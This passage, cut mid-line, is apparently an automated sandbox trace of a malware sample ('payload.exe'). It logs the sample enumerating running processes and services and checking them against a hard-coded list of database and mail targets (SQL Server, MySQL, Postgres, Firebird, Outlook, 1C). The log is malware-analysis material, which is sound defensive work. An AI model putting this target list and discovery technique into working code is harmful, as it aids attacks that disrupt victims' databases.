dwFlags=0x0, szExeFile="services.exe")) returned 1 [0090.264] lstrlenW (lpString="services.exe") returned 12 [0090.264] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0090.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0090.264] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0090.264] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0090.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0090.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0090.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0090.264] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0090.264] lstrlenW (lpString="lsass.exe") returned 9 [0090.264] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0090.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0090.264] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0090.264] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0090.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0090.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0090.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0090.264] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0090.265] lstrlenW (lpString="lsm.exe") returned 7 [0090.265] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0090.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0090.265] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0090.265] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0090.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0090.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0090.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0090.265] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.265] lstrlenW (lpString="svchost.exe") returned 11 [0090.265] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0090.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0090.265] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0090.265] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0090.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0090.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0090.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0090.265] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.266] lstrlenW (lpString="svchost.exe") returned 11 [0090.266] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0090.266] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.266] lstrlenW (lpString="svchost.exe") returned 11 [0090.266] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0090.266] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.266] lstrlenW (lpString="svchost.exe") returned 11 [0090.266] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0090.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0090.267] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.267] lstrlenW (lpString="svchost.exe") returned 11 [0090.267] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0090.267] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0090.267] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0090.267] lstrlenW (lpString="audiodg.exe") returned 11 [0090.267] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.268] lstrlenW (lpString="svchost.exe") returned 11 [0090.268] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.268] lstrlenW (lpString="svchost.exe") returned 11 [0090.268] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0090.268] lstrlenW (lpString="userinit.exe") returned 12 [0090.268] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0090.268] lstrlenW (lpString="dwm.exe") returned 7 [0090.269] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0090.269] lstrlenW (lpString="explorer.exe") returned 12 [0090.269] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0090.269] lstrlenW (lpString="spoolsv.exe") returned 11 [0090.269] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0090.269] lstrlenW (lpString="taskhost.exe") returned 12 [0090.269] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.270] lstrlenW (lpString="svchost.exe") returned 11 [0090.270] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0090.270] lstrlenW (lpString="payload.exe") returned 11 [0090.270] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0090.270] lstrlenW (lpString="reader_sl.exe") returned 13 [0090.270] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0090.271] lstrlenW (lpString="dllhost.exe") returned 11 [0090.271] Process32NextW (in: hSnapshot=0x19c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0090.271] CloseHandle (hObject=0x19c) returned 1 [0090.271] Sleep (dwMilliseconds=0x1f4) [0091.095] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70d0 [0091.169] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0091.169] GetLastError () returned 0xea [0091.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc9a) returned 0x4089028 [0091.169] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xc9a, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0091.170] CloseServiceHandle (hSCObject=0x3ab70d0) returned 1 [0091.170] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0091.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.170] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0091.170] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0091.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0091.170] lstrlenW (lpString="AudioSrv") returned 8 [0091.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0091.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0091.170] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0091.170] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0091.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0091.170] lstrlenW (lpString="BFE") returned 3 [0091.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0091.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0091.170] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0091.170] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0091.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0091.170] lstrlenW (lpString="CryptSvc") returned 8 [0091.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0091.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0091.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0091.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0091.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0091.171] lstrlenW (lpString="CscService") returned 10 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0091.171] lstrlenW (lpString="DcomLaunch") returned 10 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0091.171] lstrlenW (lpString="Dhcp") returned 4 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0091.171] lstrlenW (lpString="Dnscache") returned 8 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0091.171] lstrlenW (lpString="DPS") returned 3 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0091.171] lstrlenW (lpString="eventlog") returned 8 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0091.171] lstrlenW (lpString="EventSystem") returned 11 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0091.171] lstrlenW (lpString="gpsvc") returned 5 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0091.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0091.171] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0091.171] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0091.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0091.171] lstrlenW (lpString="LanmanWorkstation") returned 17 [0091.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0091.172] lstrlenW (lpString="lmhosts") returned 7 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0091.172] lstrlenW (lpString="MMCSS") returned 5 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0091.172] lstrlenW (lpString="MpsSvc") returned 6 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0091.172] lstrlenW (lpString="NlaSvc") returned 6 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0091.172] lstrlenW (lpString="nsi") returned 3 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0091.172] lstrlenW (lpString="PcaSvc") returned 6 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0091.172] lstrlenW (lpString="PlugPlay") returned 8 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0091.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0091.172] lstrlenW (lpString="Power") returned 5 [0091.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0091.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0091.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0091.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0091.173] lstrlenW (lpString="ProfSvc") returned 7 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0091.173] lstrlenW (lpString="RpcEptMapper") returned 12 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0091.173] lstrlenW (lpString="RpcSs") returned 5 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0091.173] lstrlenW (lpString="SamSs") returned 5 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0091.173] lstrlenW (lpString="Schedule") returned 8 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0091.173] lstrlenW (lpString="SENS") returned 4 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0091.173] lstrlenW (lpString="ShellHWDetection") returned 16 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0091.173] lstrlenW (lpString="Spooler") returned 7 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0091.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0091.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0091.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0091.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0091.173] lstrlenW (lpString="Themes") returned 6 [0091.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0091.174] 